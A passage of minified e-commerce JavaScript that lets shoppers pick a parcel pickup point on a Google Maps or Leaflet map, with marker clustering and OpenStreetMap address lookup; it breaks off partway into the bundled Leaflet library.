status){var point=wyniki && wyniki.length ? wyniki[0].geometry.location :null;pickup_sites.geokoderPrepare(point, status, headerText, streetText, cityText, moreText, moreLink, infoText, timeText, className, other, open, idek, latitude, longitude, icon)})}}};function init_pickupl_site(){if (pickup_sites.autocomplete){pickup_sites.autocomplete.setComponentRestrictions({country:pickup_sites.country_code})}if (typeof mapSiteType !="undefined") if (mapSiteType=="pickup_site"){var loadingMapWidth=$("div.loadingMap").width() / 2;var loadingMapHeight=$("div.loadingMap").height() / 2;var loadingBoxWidth=$("div.loadingBox").width() / 2;var loadingBoxHeight=$("div.loadingBox").height() / 2;var loadingBoxLeft=loadingMapWidth - loadingBoxWidth;var loadingBoxTop=loadingMapHeight - loadingBoxHeight;pickup_sites.google_api_key=google_api_key;$("div.loadingBox").css("left", loadingBoxLeft);$("div.loadingBox").css("top", loadingBoxTop);$("div.loadingBox").fadeTo("normal", 1, function (){})}if ($(".no_google_api_key").length){orderdetails_payments.ajaxLoadSite(1);ajaxGetPickupNoMap()}}var setPickupPoints=function (json, filter, option){if (!$.isEmptyObject(pickup_sites.markersArray) && !option){for (i in pickup_sites.markersArray){pickup_sites.markersArray[i].setMap(null)}}$("#pickup_site .asideContainer_pickup").html("");if (filter){var pickupPointsFilter=[];for (i in json.pickupPoints){if ($.trim(json.pickupPoints[i].address.city).toLowerCase()==$.trim(pickup_sites.adress.locality).toLowerCase()){pickupPointsFilter.push(json.pickupPoints[i])}}if (pickupPointsFilter.length){json.pickupPoints=pickupPointsFilter}}for (i in json.pickupPoints){var pickup=json.pickupPoints[i];var pickup_clone=$("#pickup_copy").clone();pickup_clone.find("input[name=pickup_point]").attr("id", "pickup_point_" + pickup.id);pickup_clone.find("input[name=pickup_point]").val(pickup.id);pickup_clone.find("label").attr("data-latitude", pickup.coordinates.latitude);pickup_clone.find("label").attr("data-longitude", pickup.coordinates.longitude);pickup_clone.find("label").attr("data-id", pickup.id);pickup_clone.find("label").attr("data-requires_client_number", pickup.requiresClientNumber);pickup_clone.find("label").attr("for", "pickup_point_" + pickup.id);pickup_clone.find("label").hide().css("opacity", "0");if (pickup.markerIconUrl){pickup_clone.find("label").attr("data-icon", pickup.markerIconUrl);pickup_clone.find("label").find("svg").replaceWith('<img src="' + pickup.markerIconUrl + '" alt="' + pickup.id + '"/>')}if (pickup.coordinates.longitude){pickup_clone.find("label .map_dir").attr("href", "https://www.google.com/maps/dir/?api=1&destination=" + pickup.coordinates.latitude + "," + pickup.coordinates.longitude)}else{pickup_clone.find("label .map_dir").attr("href", "https://maps.google.com?saddr=Current+Location&daddr=" + pickup.address.street + "+" + pickup.address.postcode + "+" + pickup.address.city)}pickup_clone.find("b.headerText").text(pickup.name);var pickup_street=pickup.address.buildingAndHouseNumber !="" && pickup.address.buildingAndHouseNumber !=null ? pickup.address.street + " " + pickup.address.buildingAndHouseNumber :pickup.address.street;pickup_clone.find("span.streetText").text(pickup_street);pickup_clone.find("span.zipcodePickup").html(pickup.address.postcode + ' <span class="cityText">' + pickup.address.city + "</span>");pickup_clone.find("div.moreText").text(pickup.location);pickup_clone.find("a.moreLink").attr("href", pickup.link);if (pickup.requiresClientNumber){}else{pickup_clone.find("input[name=client_courier_number]").remove()}$("#pickup_site .asideContainer_pickup").append(pickup_clone.find(" > *"))}pickup_sites.showSel()};function geolocate(){pickup_sites.search_lat="";pickup_sites.search_lng="";if (navigator.geolocation){navigator.geolocation.getCurrentPosition(function (position){var geolocation={lat:position.coords.latitude, lng:position.coords.longitude};var circle=new google.maps.Circle({center:geolocation, radius:position.coords.accuracy});pickup_sites.autocomplete.setBounds(circle.getBounds())})}}$(document).on("click", "#locationField .btn", async function (){if (!$("#mymap").length){pickup_sites.getLocation()}else{const areTherePoints=await leafletGetTextLocation();if(!areTherePoints){document.getElementById("autocomplete_location").value=document.getElementById("delivery_city").value ? document.getElementById("delivery_city").value :document.getElementById("client_city").value;await leafletGetTextLocation();}$(".leafleat-suggestions").remove()}return false});$(document).on("click", "div.morePickup", function (){var activePoints=$("label.pickup_point.moreInfoShow");$(this).parents("label.pickup_point").addClass("moreInfoShow");activePoints.removeClass("moreInfoShow")});$(document).on("click", '#pickup_site [name="pickup_point"], #pickup_site [name="stock"]', function (){$('#pickup_site [name="client_courier_number"]').prop("disabled", true);$(this).find('+ label [name="client_courier_number"]').prop("disabled", false).focus();pickup_sites.printDates($(this).val())});app_shop.run(function (){pickup_sites.country_code=app_shop.vars.country_code;pickup_sites.language=app_shop.vars.language;pickup_sites.isCod=app_shop.vars.isCod;pickup_sites.courierId=app_shop.vars.courierId;init_pickupl_site();var mapLink="https://maps.googleapis.com/maps/api/js?key=" + app_shop.vars.apiKey + "&libraries=places&callback=pickup_sites.mapInit";var pickup_src=document.createElement("script");pickup_src.setAttribute("src", mapLink);document.body.appendChild(pickup_src)}, "all", "#pickup_site");function MarkerClusterer(map, opt_markers, opt_options){this.extend(MarkerClusterer, google.maps.OverlayView);this.map_=map;this.markers_=[];this.clusters_=[];this.sizes=[53, 56, 66, 78, 90];this.styles_=[];this.ready_=false;var options=opt_options ||{};this.gridSize_=options["gridSize"] || 60;this.minClusterSize_=options["minimumClusterSize"] || 2;this.maxZoom_=options["maxZoom"] || null;this.styles_=options["styles"] || [];this.imagePath_=options["imagePath"] || this.MARKER_CLUSTER_IMAGE_PATH_;this.imageExtension_=options["imageExtension"] || this.MARKER_CLUSTER_IMAGE_EXTENSION_;this.zoomOnClick_=true;if (options["zoomOnClick"] !=undefined){this.zoomOnClick_=options["zoomOnClick"]}this.averageCenter_=false;if (options["averageCenter"] !=undefined){this.averageCenter_=options["averageCenter"]}this.setupStyles_();this.setMap(map);this.prevZoom_=this.map_.getZoom();var that=this;google.maps.event.addListener(this.map_, "zoom_changed", function (){var zoom=that.map_.getZoom();var minZoom=that.map_.minZoom || 0;var maxZoom=Math.min(that.map_.maxZoom || 100, that.map_.mapTypes[that.map_.getMapTypeId()].maxZoom);zoom=Math.min(Math.max(zoom, minZoom), maxZoom);if (that.prevZoom_ !=zoom){that.prevZoom_=zoom;that.resetViewport()}});google.maps.event.addListener(this.map_, "idle", function (){that.redraw()});if (opt_markers && (opt_markers.length || Object.keys(opt_markers).length)){this.addMarkers(opt_markers, false)}}MarkerClusterer.prototype.MARKER_CLUSTER_IMAGE_PATH_="../images/m";MarkerClusterer.prototype.MARKER_CLUSTER_IMAGE_EXTENSION_="png";MarkerClusterer.prototype.extend=function (obj1, obj2){return function (object){for (var property in object.prototype){this.prototype[property]=object.prototype[property]}return this}.apply(obj1, [obj2])};MarkerClusterer.prototype.onAdd=function (){this.setReady_(true)};MarkerClusterer.prototype.draw=function (){};MarkerClusterer.prototype.setupStyles_=function (){if (this.styles_.length){return}for (var i=0, size;size=this.sizes[i];i++){this.styles_.push({url:this.imagePath_ + (i + 1) + "." + this.imageExtension_, height:size, width:size})}};MarkerClusterer.prototype.fitMapToMarkers=function (){var markers=this.getMarkers();var bounds=new google.maps.LatLngBounds;for (var i=0, marker;marker=markers[i];i++){bounds.extend(marker.getPosition())}this.map_.fitBounds(bounds)};MarkerClusterer.prototype.setStyles=function (styles){this.styles_=styles};MarkerClusterer.prototype.getStyles=function (){return this.styles_};MarkerClusterer.prototype.isZoomOnClick=function (){return this.zoomOnClick_};MarkerClusterer.prototype.isAverageCenter=function (){return this.averageCenter_};MarkerClusterer.prototype.getMarkers=function (){return this.markers_};MarkerClusterer.prototype.getTotalMarkers=function (){return this.markers_.length};MarkerClusterer.prototype.setMaxZoom=function (maxZoom){this.maxZoom_=maxZoom};MarkerClusterer.prototype.getMaxZoom=function (){return this.maxZoom_};MarkerClusterer.prototype.calculator_=function (markers, numStyles){var index=0;var count=markers.length;var dv=count;while (dv !==0){dv=parseInt(dv / 10, 10);index++}index=Math.min(index, numStyles);return{text:count, index:index}};MarkerClusterer.prototype.setCalculator=function (calculator){this.calculator_=calculator};MarkerClusterer.prototype.getCalculator=function (){return this.calculator_};MarkerClusterer.prototype.addMarkers=function (markers, opt_nodraw){if (markers.length){for (var i=0, marker;marker=markers[i];i++){this.pushMarkerTo_(marker)}}else if (Object.keys(markers).length){for (var marker in markers){this.pushMarkerTo_(markers[marker])}}if (!opt_nodraw){this.redraw()}};MarkerClusterer.prototype.pushMarkerTo_=function (marker){marker.isAdded=false;if (marker["draggable"]){var that=this;google.maps.event.addListener(marker, "dragend", function (){marker.isAdded=false;that.repaint()})}this.markers_.push(marker)};MarkerClusterer.prototype.addMarker=function (marker, opt_nodraw){this.pushMarkerTo_(marker);if (!opt_nodraw){this.redraw()}};MarkerClusterer.prototype.removeMarker_=function (marker){var index=-1;if (this.markers_.indexOf){index=this.markers_.indexOf(marker)}else{for (var i=0, m;m=this.markers_[i];i++){if (m==marker){index=i;break}}}if (index==-1){return false}marker.setMap(null);this.markers_.splice(index, 1);return true};MarkerClusterer.prototype.removeMarker=function (marker, opt_nodraw){var removed=this.removeMarker_(marker);if (!opt_nodraw && removed){this.resetViewport();this.redraw();return true}else{return false}};MarkerClusterer.prototype.removeMarkers=function (markers, opt_nodraw){var removed=false;for (var i=0, marker;marker=markers[i];i++){var r=this.removeMarker_(marker);removed=removed || r}if (!opt_nodraw && removed){this.resetViewport();this.redraw();return true}};MarkerClusterer.prototype.setReady_=function (ready){if (!this.ready_){this.ready_=ready;this.createClusters_()}};MarkerClusterer.prototype.getTotalClusters=function (){return this.clusters_.length};MarkerClusterer.prototype.getMap=function (){return this.map_};MarkerClusterer.prototype.setMap=function (map){this.map_=map};MarkerClusterer.prototype.getGridSize=function (){return this.gridSize_};MarkerClusterer.prototype.setGridSize=function (size){this.gridSize_=size};MarkerClusterer.prototype.getMinClusterSize=function (){return this.minClusterSize_};MarkerClusterer.prototype.setMinClusterSize=function (size){this.minClusterSize_=size};MarkerClusterer.prototype.getExtendedBounds=function (bounds){var projection=this.getProjection();var tr=new google.maps.LatLng(bounds.getNorthEast().lat(), bounds.getNorthEast().lng());var bl=new google.maps.LatLng(bounds.getSouthWest().lat(), bounds.getSouthWest().lng());var trPix=projection.fromLatLngToDivPixel(tr);trPix.x +=this.gridSize_;trPix.y -=this.gridSize_;var blPix=projection.fromLatLngToDivPixel(bl);blPix.x -=this.gridSize_;blPix.y +=this.gridSize_;var ne=projection.fromDivPixelToLatLng(trPix);var sw=projection.fromDivPixelToLatLng(blPix);bounds.extend(ne);bounds.extend(sw);return bounds};MarkerClusterer.prototype.isMarkerInBounds_=function (marker, bounds){return bounds.contains(marker.getPosition())};MarkerClusterer.prototype.clearMarkers=function (){this.resetViewport(true);this.markers_=[]};MarkerClusterer.prototype.resetViewport=function (opt_hide){for (var i=0, cluster;cluster=this.clusters_[i];i++){cluster.remove()}for (var i=0, marker;marker=this.markers_[i];i++){marker.isAdded=false;if (opt_hide){marker.setMap(null)}}this.clusters_=[]};MarkerClusterer.prototype.repaint=function (){var oldClusters=this.clusters_.slice();this.clusters_.length=0;this.resetViewport();this.redraw();window.setTimeout(function (){for (var i=0, cluster;cluster=oldClusters[i];i++){cluster.remove()}}, 0)};MarkerClusterer.prototype.redraw=function (){this.createClusters_()};MarkerClusterer.prototype.distanceBetweenPoints_=function (p1, p2){if (!p1 || !p2){return 0}var R=6371;var dLat=(p2.lat() - p1.lat()) * Math.PI / 180;var dLon=(p2.lng() - p1.lng()) * Math.PI / 180;var a=Math.sin(dLat / 2) * Math.sin(dLat / 2) + Math.cos(p1.lat() * Math.PI / 180) * Math.cos(p2.lat() * Math.PI / 180) * Math.sin(dLon / 2) * Math.sin(dLon / 2);var c=2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));var d=R * c;return d};MarkerClusterer.prototype.addToClosestCluster_=function (marker){var distance=4e4;var clusterToAddTo=null;var pos=marker.getPosition();for (var i=0, cluster;cluster=this.clusters_[i];i++){var center=cluster.getCenter();if (center){var d=this.distanceBetweenPoints_(center, marker.getPosition());if (d < distance){distance=d;clusterToAddTo=cluster}}}if (clusterToAddTo && clusterToAddTo.isMarkerInClusterBounds(marker)){clusterToAddTo.addMarker(marker)}else{var cluster=new Cluster(this);cluster.addMarker(marker);this.clusters_.push(cluster)}};MarkerClusterer.prototype.createClusters_=function (){if (!this.ready_){return}var mapBounds=new google.maps.LatLngBounds(this.map_.getBounds().getSouthWest(), this.map_.getBounds().getNorthEast());var bounds=this.getExtendedBounds(mapBounds);for (var i=0, marker;marker=this.markers_[i];i++){if (!marker.isAdded && this.isMarkerInBounds_(marker, bounds)){this.addToClosestCluster_(marker)}}};function Cluster(markerClusterer){this.markerClusterer_=markerClusterer;this.map_=markerClusterer.getMap();this.gridSize_=markerClusterer.getGridSize();this.minClusterSize_=markerClusterer.getMinClusterSize();this.averageCenter_=markerClusterer.isAverageCenter();this.center_=null;this.markers_=[];this.bounds_=null;this.clusterIcon_=new ClusterIcon(this, markerClusterer.getStyles(), markerClusterer.getGridSize())}Cluster.prototype.isMarkerAlreadyAdded=function (marker){if (this.markers_.indexOf){return this.markers_.indexOf(marker) !=-1}else{for (var i=0, m;m=this.markers_[i];i++){if (m==marker){return true}}}return false};Cluster.prototype.addMarker=function (marker){if (this.isMarkerAlreadyAdded(marker)){return false}if (!this.center_){this.center_=marker.getPosition();this.calculateBounds_()}else{if (this.averageCenter_){var l=this.markers_.length + 1;var lat=(this.center_.lat() * (l - 1) + marker.getPosition().lat()) / l;var lng=(this.center_.lng() * (l - 1) + marker.getPosition().lng()) / l;this.center_=new google.maps.LatLng(lat, lng);this.calculateBounds_()}}marker.isAdded=true;this.markers_.push(marker);var len=this.markers_.length;if (len < this.minClusterSize_ && marker.getMap() !=this.map_){marker.setMap(this.map_)}if (len==this.minClusterSize_){for (var i=0;i < len;i++){this.markers_[i].setMap(null)}}if (len >=this.minClusterSize_){marker.setMap(null)}this.updateIcon();return true};Cluster.prototype.getMarkerClusterer=function (){return this.markerClusterer_};Cluster.prototype.getBounds=function (){var bounds=new google.maps.LatLngBounds(this.center_, this.center_);var markers=this.getMarkers();for (var i=0, marker;marker=markers[i];i++){bounds.extend(marker.getPosition())}return bounds};Cluster.prototype.remove=function (){this.clusterIcon_.remove();this.markers_.length=0;delete this.markers_};Cluster.prototype.getSize=function (){return this.markers_.length};Cluster.prototype.getMarkers=function (){return this.markers_};Cluster.prototype.getCenter=function (){return this.center_};Cluster.prototype.calculateBounds_=function (){var bounds=new google.maps.LatLngBounds(this.center_, this.center_);this.bounds_=this.markerClusterer_.getExtendedBounds(bounds)};Cluster.prototype.isMarkerInClusterBounds=function (marker){return this.bounds_.contains(marker.getPosition())};Cluster.prototype.getMap=function (){return this.map_};Cluster.prototype.updateIcon=function (){var zoom=this.map_.getZoom();var mz=this.markerClusterer_.getMaxZoom();if (mz && zoom > mz){for (var i=0, marker;marker=this.markers_[i];i++){marker.setMap(this.map_)}return}if (this.markers_.length < this.minClusterSize_){this.clusterIcon_.hide();return}var numStyles=this.markerClusterer_.getStyles().length;var sums=this.markerClusterer_.getCalculator()(this.markers_, numStyles);this.clusterIcon_.setCenter(this.center_);this.clusterIcon_.setSums(sums);this.clusterIcon_.show()};function ClusterIcon(cluster, styles, opt_padding){cluster.getMarkerClusterer().extend(ClusterIcon, google.maps.OverlayView);this.styles_=styles;this.padding_=opt_padding || 0;this.cluster_=cluster;this.center_=null;this.map_=cluster.getMap();this.div_=null;this.sums_=null;this.visible_=false;this.setMap(this.map_)}ClusterIcon.prototype.triggerClusterClick=function (){var markerClusterer=this.cluster_.getMarkerClusterer();google.maps.event.trigger(markerClusterer, "clusterclick", this.cluster_);if (markerClusterer.isZoomOnClick()){this.map_.fitBounds(this.cluster_.getBounds())}};ClusterIcon.prototype.onAdd=function (){this.div_=document.createElement("DIV");if (this.visible_){var pos=this.getPosFromLatLng_(this.center_);this.div_.style.cssText=this.createCss(pos);this.div_.innerHTML=this.sums_.text}var panes=this.getPanes();panes.overlayMouseTarget.appendChild(this.div_);var that=this;google.maps.event.addDomListener(this.div_, "click", function (){that.triggerClusterClick()})};ClusterIcon.prototype.getPosFromLatLng_=function (latlng){var pos=this.getProjection().fromLatLngToDivPixel(latlng);pos.x -=parseInt(this.width_ / 2, 10);pos.y -=parseInt(this.height_ / 2, 10);return pos};ClusterIcon.prototype.draw=function (){if (this.visible_){var pos=this.getPosFromLatLng_(this.center_);this.div_.style.top=pos.y + "px";this.div_.style.left=pos.x + "px"}};ClusterIcon.prototype.hide=function (){if (this.div_){this.div_.style.display="none"}this.visible_=false};ClusterIcon.prototype.show=function (){if (this.div_){var pos=this.getPosFromLatLng_(this.center_);this.div_.style.cssText=this.createCss(pos);this.div_.style.display=""}this.visible_=true};ClusterIcon.prototype.remove=function (){this.setMap(null)};ClusterIcon.prototype.onRemove=function (){if (this.div_ && this.div_.parentNode){this.hide();this.div_.parentNode.removeChild(this.div_);this.div_=null}};ClusterIcon.prototype.setSums=function (sums){this.sums_=sums;this.text_=sums.text;this.index_=sums.index;if (this.div_){this.div_.innerHTML=sums.text}this.useStyle()};ClusterIcon.prototype.useStyle=function (){var index=Math.max(0, this.sums_.index - 1);index=Math.min(this.styles_.length - 1, index);var style=this.styles_[index];this.url_=style["url"];this.height_=style["height"];this.width_=style["width"];this.textColor_=style["textColor"];this.anchor_=style["anchor"];this.textSize_=style["textSize"];this.backgroundPosition_=style["backgroundPosition"]};ClusterIcon.prototype.setCenter=function (center){this.center_=center};ClusterIcon.prototype.createCss=function (pos){var style=[];style.push("background-image:url(" + this.url_ + ");");var backgroundPosition=this.backgroundPosition_ ? this.backgroundPosition_ :"0 0";style.push("background-position:" + backgroundPosition + ";");if (typeof this.anchor_==="object"){if (typeof this.anchor_[0]==="number" && this.anchor_[0] > 0 && this.anchor_[0] < this.height_){style.push("height:" + (this.height_ - this.anchor_[0]) + "px;padding-top:" + this.anchor_[0] + "px;")}else{style.push("height:" + this.height_ + "px;line-height:" + this.height_ + "px;")}if (typeof this.anchor_[1]==="number" && this.anchor_[1] > 0 && this.anchor_[1] < this.width_){style.push("width:" + (this.width_ - this.anchor_[1]) + "px;padding-left:" + this.anchor_[1] + "px;")}else{style.push("width:" + this.width_ + "px;text-align:center;")}}else{style.push("height:" + this.height_ + "px;line-height:" + this.height_ + "px;width:" + this.width_ + "px;text-align:center;")}var txtColor=this.textColor_ ? this.textColor_ :"black";var txtSize=this.textSize_ ? this.textSize_ :11;style.push("cursor:pointer;top:" + pos.y + "px;left:" + pos.x + "px;color:" + txtColor + ";position:absolute;font-size:" + txtSize + "px;font-family:Arial,sans-serif;font-weight:bold");return style.join("")};$(document).on("click", ".map_button_search > .pickup_search_here", function (){pickup_sites.search_lat=pickup_sites.mapa.center.lat();pickup_sites.search_lng=pickup_sites.mapa.center.lng();pickup_sites.ajaxGetPickup(true)});var mymap;var isLoaded=false;var isWaitingEnd=false;var leafletGetPickups=function (lat, long, current_zoom){if (current_zoom >=15){radius=1}else if (current_zoom==14){radius=2}else if (current_zoom==13){radius=4}else if (current_zoom==12){radius=7}else if (current_zoom==11){radius=10}else if (current_zoom==10){radius=15}else{radius=20}if (current_zoom){var options={courierId:pickup_sites.courierId, "location[latitude]":lat, "location[longitude]":long, radius:radius, isCod:pickup_sites.isCod}}else{var options={courierId:pickup_sites.courierId, "location[latitude]":lat, "location[longitude]":long, isCod:pickup_sites.isCod}}$.ajax({type:"GET", url:"/ajax/getPickups.php", data:options, dataType:"json", success:function (json){if (!jQuery.isEmptyObject(selected_pickup_point)){for (i in json.pickupPoints){if (json.pickupPoints[i].id==selected_pickup_point.id){delete json.pickupPoints[i]}}json.pickupPoints.unshift(selected_pickup_point);console.log("pickupPoints unshift")}if (!json.pickupPoints.length){if ($("div.asideContainer_pickup .menu_messages_message").length) $("div.asideContainer_pickup .menu_messages_message").remove();if (radius){if ($("div.asideContainer_pickup .menu_messages_message").length) $("div.asideContainer_pickup .menu_messages_message").remove();$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints_in_area + "</div>")}else{$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints + "</div>")}$(".loadingMap").hide();return false}leafletItems=[];for (i in json.pickupPoints){var pickupLat=json.pickupPoints[i].coordinates.latitude;var pickupLon=json.pickupPoints[i].coordinates.longitude;if (pickupLat=="" || pickupLon==""){$.ajaxSetup({async:false});$.get(location.protocol + "//nominatim.openstreetmap.org/search?format=json&q=" + json.pickupPoints[i].address.street + ", " + json.pickupPoints[i].address.city + " " + json.pickupPoints[i].address.city + " " + json.pickupPoints[i].address.country, function (data){if (!jQuery.isEmptyObject(data)){pickupLat=data[0].lat;pickupLon=data[0].lon}else{console.log("nie mogę znaleźć korodynatów adresu!")}})}leafletItems.push({id:json.pickupPoints[i].id, name:json.pickupPoints[i].name, link:json.pickupPoints[i].link, address:json.pickupPoints[i].address, lat:pickupLat, lon:pickupLon})}setPickupPointsNoMap(json, false, true);if (!jQuery.isEmptyObject(leafletItems)){leafletStartMap(leafletItems[0].lat, leafletItems[0].lon, true)}}, error:function (){if ($("div.asideContainer_pickup .menu_messages_message").length) $("div.asideContainer_pickup .menu_messages_message").remove();$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_error + "</div>");$(".asideContainer_pickup label.pickup_point").each(function (){var aId=$(this).data("id");var aName=$(this).find(".headerText").text();var aLink=$(this).find(".map_dir").attr("href");var aAddress=$(this).find(".streetText").text() + "<br/>" + $(this).find(".zipcodePickup").text();var aLat=$(this).data("latitude");var aLon=$(this).data("longitude");leafletItems.push({id:aId, name:aName, link:aLink, address:aAddress, lat:aLat, lon:aLon})});if (leafletItems[0].lat && leafletItems[0].lon) leafletStartMap(leafletItems[0].lat, leafletItems[0].lon, true)}})};var leafletMarker=new Array;var leafletItems=[];function leafletDelMarkers(){for (i=0;i < markersList.length;i++){mymap.removeLayer(markers[markersList[i]])}markersList=[]}function leafletOnClick(e){var popup=e.target.getPopup();var content=popup.getContent();var parser=new DOMParser;var htmlDoc=parser.parseFromString(content, "text/html");var id=$(htmlDoc).find("b").attr("data-id");$('.asideContainer_pickup label.pickup_point[data-id="' + id + '"]').click()}var markers={};var markersList=[];var leafletStartMap=function (lat, long){if (!isLoaded){mymap=L.map("mymap").setView([lat, long], 13);L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png",{attribution:'©<a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'}).addTo(mymap);isLoaded=true;isWaitingEnd=true}$(".loadingPoints").remove();for (i=0;i < leafletItems.length;i++){let href=`<a target="_blank" class="btn-small"title="` + stocks_list_more_txt + `"href="` + leafletItems[i].link + `">` + stocks_list_more_txt + `</a><a class="btn-small fbs02_btn" title="` + stocks_list_choose + `" href="#close">` + stocks_list_choose + `</a>`;let addressTxt="";if (leafletItems[i].address.street !=undefined){addressTxt=`<div class="mapTooltipAdress"><span>` + leafletItems[i].address.street + ` ` + leafletItems[i].address.buildingAndHouseNumber + `</span> <span>` + leafletItems[i].address.city + `</span></div>`}else{addressTxt=`<div class="mapTooltipAdress">` + leafletItems[i].address + `</div>`}let button_text=`<b class="mapTooltipName"data-id="` + leafletItems[i].id + `">` + leafletItems[i].name + `</b><br/>` + addressTxt + `<br/>` + href;markersList.push(leafletItems[i].id);markers[leafletItems[i].id]=L.marker([leafletItems[i].lat, leafletItems[i].lon],{icon:newMarkerIcon}).addTo(mymap).on("click", leafletOnClick).bindPopup(button_text)}mymap.setView(new L.LatLng(lat, long));let pointId=$(".asideContainer_pickup label.pickup_point").eq(0).attr("data-id");$('.asideContainer_pickup input[value="' + pointId + '"]').click();$("img.leaflet-marker-icon").each(function (){var href=$(this).attr("src");var href_prev=href.includes("preview/");if (href_prev) href=href.replace("preview/", "");var href_2x=href.includes("marker-icon");if (href_2x) href=href.replace("-2x", "");$(this).attr("src", href)})};var timeoutLeafLet=null;$(document).on("input", "#autocomplete_location.autocomplete_nomap", function (){var that=$(this);clearTimeout(timeoutLeafLet);timeoutLeafLet=setTimeout(function (){if (that.val().length > 3){leafletGetLocation(that.val())}}, 500)});$(document).off("click.suggestions").on("click.suggestions", ".leafleat-suggestions div", function (){$("#autocomplete_location").val($(this).text());$(".leafleat-suggestions").remove();const lat=$(this).attr("data-lat");const lon=$(this).attr("data-lon");leafletDelMarkers();selected_pickup_point={};leafletGetPickups(lat, lon)});$(document).on("click", ".map_button_search > .pickup_search_here_leaflet", function (){var cords=mymap.getCenter();var zoom=mymap.getZoom();leafletDelMarkers();selected_pickup_point={};leafletGetPickups(cords.lat, cords.lng, zoom)});$(document).on("click", '#pickup_site [name="pickup_point"], #pickup_site [name="stock"]', function (){const id=$(this).val();if (markers[id]){let thatMarkerCoords=markers[id].getLatLng();mymap.setView(new L.LatLng(thatMarkerCoords.lat, thatMarkerCoords.lng));markers[id].openPopup()}});var leafletGetCoords=async function (address){let mymapLat="", mymapLong="";if (address){const data=await $.get(location.protocol + "//nominatim.openstreetmap.org/search?format=json&q=" + address);if (!jQuery.isEmptyObject(data)){mymapLat=data[0].lat;mymapLong=data[0].lon;leafletGetPickups(mymapLat, mymapLong);return true;}else{if ($(".asideContainer_pickup label.pickup_point").length){$(".asideContainer_pickup label.pickup_point").each(function (){var aId=$(this).data("id");var aName=$(this).find(".headerText").text();var aLink=$(this).find(".map_dir").attr("href");var aAddress=$(this).find(".streetText").text() + "<br/>" + $(this).find(".zipcodePickup").text();var aLat=$(this).data("latitude");var aLon=$(this).data("longitude");leafletItems.push({id:aId, name:aName, link:aLink, address:aAddress, lat:aLat, lon:aLon})});leafletStartMap(leafletItems[0].lat, leafletItems[0].lon, true);return true;}if ($("div.asideContainer_pickup .menu_messages_message").length) $("div.asideContainer_pickup .menu_messages_message").remove();$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints + "</div>");return false;}}else{if ($(".asideContainer_pickup label.pickup_point").length){$(".asideContainer_pickup label.pickup_point").each(function (){var aId=$(this).data("id");var aName=$(this).find(".headerText").text();var aLink=$(this).find(".map_dir").attr("href");var aAddress=$(this).find(".streetText").text() + "<br/>" + $(this).find(".zipcodePickup").text();var aLat=$(this).data("latitude");var aLon=$(this).data("longitude");leafletItems.push({id:aId, name:aName, link:aLink, address:aAddress, lat:aLat, lon:aLon})});leafletStartMap(leafletItems[0].lat, leafletItems[0].lon, true);return true;}return false;}};var leafletGetLocation=function (address){$.get(location.protocol + "//nominatim.openstreetmap.org/search?format=json&q=" + address, function (data){if (!jQuery.isEmptyObject(data)){$("#locationField").append('<div class="leafleat-suggestions"></div>');for (i in data){$(".leafleat-suggestions").append('<div data-lat="' + data[i].lat + '" data-lon="' + data[i].lon + '">' + data[i].display_name + "</div>")}}else{leafletStartMap(53.428, 14.552, true);if ($("div.asideContainer_pickup .menu_messages_message").length) $("div.asideContainer_pickup .menu_messages_message").remove();$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints + "</div>")}})};var leafletGetTextLocation=async function (){$("#mymap").prepend(`<div class="loadingPoints"><img src="/gfx/pol/loader.gif?r=1585561104"><span style="margin-left:5px;">${<iai:variable vid="Ładowanie mapy" />}...</span></div>`);var text=$("#autocomplete_location").val();selected_pickup_point={};const data=await $.get(location.protocol + "//nominatim.openstreetmap.org/search?format=json&q=" + text);if (!jQuery.isEmptyObject(data)){leafletDelMarkers();leafletGetPickups(data[0].lat, data[0].lon);$("#autocomplete_location").val(data[0].display_name);return true}else{if (text.search(",")){var srp=text.split(",");var new_address=srp[srp.length - 1].trim();return await leafletGetCoords(new_address);}if ($("div.asideContainer_pickup .menu_messages_message").length) $("div.asideContainer_pickup .menu_messages_message").remove();$("div.asideContainer_pickup").prepend('<div class="menu_messages_message">' + pickupl_nopoints + "</div>");return false;}};app_shop.run(function (){if ($("#autocomplete_location").length && $("#autocomplete_location").val() !=""){let leafletAddress=$("#autocomplete_location").val();leafletGetCoords(leafletAddress)}else{leafletGetCoords(false)}}, "all", "#mymap");app_shop.run(function (){$("#mymap").before($(".map_button_search"))}, 1, "#mymap");app_shop.run(function (){$("#mymap").prepend($(".map_button_search"))}, [2, 3, 4], "#mymap");!function (t, i){"object"==typeof exports && "undefined" !=typeof module ? i(exports) :"function"==typeof define && define.amd ? define(["exports"], i) :i(t.L={})}(this, function (t){"use strict";var i=Object.freeze;function h(t){var i, e, n, o;for (e=1, n=arguments.length;e < n;e++)for (i in o=arguments[e]) t[i]=o[i];return t}Object.freeze=function (t){return t};var s=Object.create || function (t){return e.prototype=t, new e};function e(){}function a(t, i){var e=Array.prototype.slice;if (t.bind) return t.bind.apply(t, e.call(arguments, 1));var n=e.call(arguments, 2);return function (){return t.apply(i, n.length ? n.concat(e.call(arguments)) :arguments)}}var n=0;function u(t){return t._leaflet_id=t._leaflet_id || ++n, t._leaflet_id}function o(t, i, e){var n, o, s, r;return r=function (){n=!1, o && (s.apply(e, o), o=!1)}, s=function (){n ? o=arguments :(t.apply(e, arguments), setTimeout(r, i), n=!0)}}function r(t, i, e){var n=i[1], o=i[0], s=n - o;return t===n && e ? t :((t - o) % s + s) % s + o}function l(){return !1}function c(t, i){var e=Math.pow(10, void 0===i ? 6 :i);return Math.round(t * e) / e}function _(t){return t.trim ? t.trim() :t.replace(/^\s+|\s+$/g, "")}function d(t){return _(t).split(/\s+/)}function p(t, i){for (var e in t.hasOwnProperty("options") || (t.options=t.options ? s(t.options) :{}), i) t.options[e]=i[e];return t.options}function m(t, i, e){var n=[];for (var o in t) n.push(encodeURIComponent(e ? o.toUpperCase() :o) + "=" + encodeURIComponent(t[o]));return (i && -1 !==i.indexOf("?") ? "&" :"?") + n.join("&")}var f=/\{*([\w_-]+) *\}/g;function g(t, n){return t.replace(f, function (t, i){var e=n[i];if (void 0===e) throw new Error("No value provided for variable " + t);return 